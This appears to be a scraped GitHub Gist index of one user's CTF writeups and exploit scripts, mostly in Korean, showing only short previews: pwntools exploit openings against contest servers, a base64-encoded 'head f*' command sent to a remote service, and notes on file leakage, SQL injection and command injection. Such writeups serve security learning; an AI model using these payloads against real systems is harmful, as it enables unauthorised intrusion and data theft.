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junorouse / Tsurai-Web.md
Last active September 5, 2016 17:36
MMA CTF Tsurai Web Writeup by JunoIm@LeavCat

한국인 중에 푼사람이 저희밖에 없기에 한국어로 풀이를 작성합니다.

소스코드와 링크가 제공되어있습니다. Flask로 작성되어진 간단한 온라인 사진관리 서비스입니다.

def h(s):
    from hashlib import md5
    return md5(s).hexdigest()

open('data/{}.py'.format(h(username)), 'w').write("imgs = {}".format(repr([])))
@junorouse
junorouse / ZIP-Cracker.md
Last active September 5, 2016 17:43
MMA CTF ZIP Cracker Writeup by JunoIm@LeavCat

한국인 중에 푼사람이 저희밖에 없기에 한국어로 풀이를 작성합니다.

링크에 접속하게 되면 간단한 zip cracking online 사이트란것을 알 수 있습니다.

아무것도 없습니다.. 스캐닝 툴을 돌려도 나왔겠지만 용진이형(adm1nkyj)이 게싱으로 swp파일을 가져왔습니다.

// .index.php.swp
<?php
if(!empty($_FILES['zip']['tmp_name']) and !empty($_FILES['dict']['tmp_name'])) {
@junorouse
junorouse / hunting-exploit.py
Last active February 13, 2017 04:09
CodeGate 2017 PreQual hunting exploit
from pwn import *
import time
s = ssh(host="110.10.212.133", user="hunting", port=5556, password="hunting")
rand = ssh(host="110.10.212.133", user="hunting", port=5556, password="hunting")
cnt = 0
r = s.process("./hunting", env = {})
@junorouse
junorouse / exploit-bp.py
Created February 12, 2017 05:49
"""
>>> e = ELF("./babypwn")
[*] '/media/psf/Home/junoim/3onedayonepwn/codegate/bp/babypwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
"""
@junorouse
junorouse / codegate2017-exploit-misc.py
Last active April 24, 2017 05:53
from pwn import *
r = remote("110.10.212.138", 19091)
r.sendline("TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5OigA")
r.sendline("YQ==")
r.sendline("YQAAAAA=")
r.sendline("head f*".encode("base64"))
r.interactive()
@junorouse
junorouse / confidence2017-web300.md
Last active April 24, 2017 05:53
confidence 2017 web 300 write up

vulnerability

  1. ![xxx](filename) can leak any file (if knows the file name)

the server uses ROR (ruby on rails), so in ROR docs there are controller file name in standardization. apps/controllers/name_controller.rb so I leaked users_controller.rb and notes_controller.rb.

  1. in notes_controller there is an sqli vuln.



  


  




    


          
    

      

        
        

          

              @junorouse
          

          

            
                junorouse
                / plaid-2016-web-challs.md
            
            

              Created
              April 24, 2017 03:06
            

              
                plaid ctf web challs
              
          

        

      

        

  

      

    
echo


info: command injection at the input.


echo {input}


from requests import get



  


  




    


          
    

      

        
        

          

              @junorouse
          

          

            
                junorouse
                / ssg2017-writeup.md
            
            

              Created
              May 28, 2017 00:39
            

              
                ssg2017 writeup
              
          

        

      

        

  

      

    
Reversing


Speed_Test


분석하려다 귀찮아서 대충 생겨먹은거 보니깐 side-channel attack 가능할거 같아서 gdb script를 짯다.


import gdb
import ctypes
import string



  


  




    


          
    

      

        
        

          

              @junorouse
          

          

            
                junorouse
                / secuinside-2017-writeup.md
            
            

              Last active
              July 5, 2017 14:18
            

              
                SECUINSIDE Challenge Writeup
              
          

        

      

        

  



    


          
    

      

        
        

          

              @junorouse
          

          

            
                junorouse
                / stdafx.h
            
            

              Created
              July 19, 2017 08:00
                — forked from somma/stdafx.h
            

              
                stdafx.h
              
          

        

      

        

  

    
    


        



  


  

        

          
          /**
        

        

          
          * @file    AntiRanSomware user mode engine
        

        

          
          * @brief
        

        

          
          * @ref
        

        

          
          * @author  Yonhgwhan, Roh ([email protected])
        

        

          
          * @date    2017/01/21 created.
        

        

          
          * @copyright All rights reserved by Yonghwan, Roh.
        

        

          
          **/
        

        

          
          #pragma once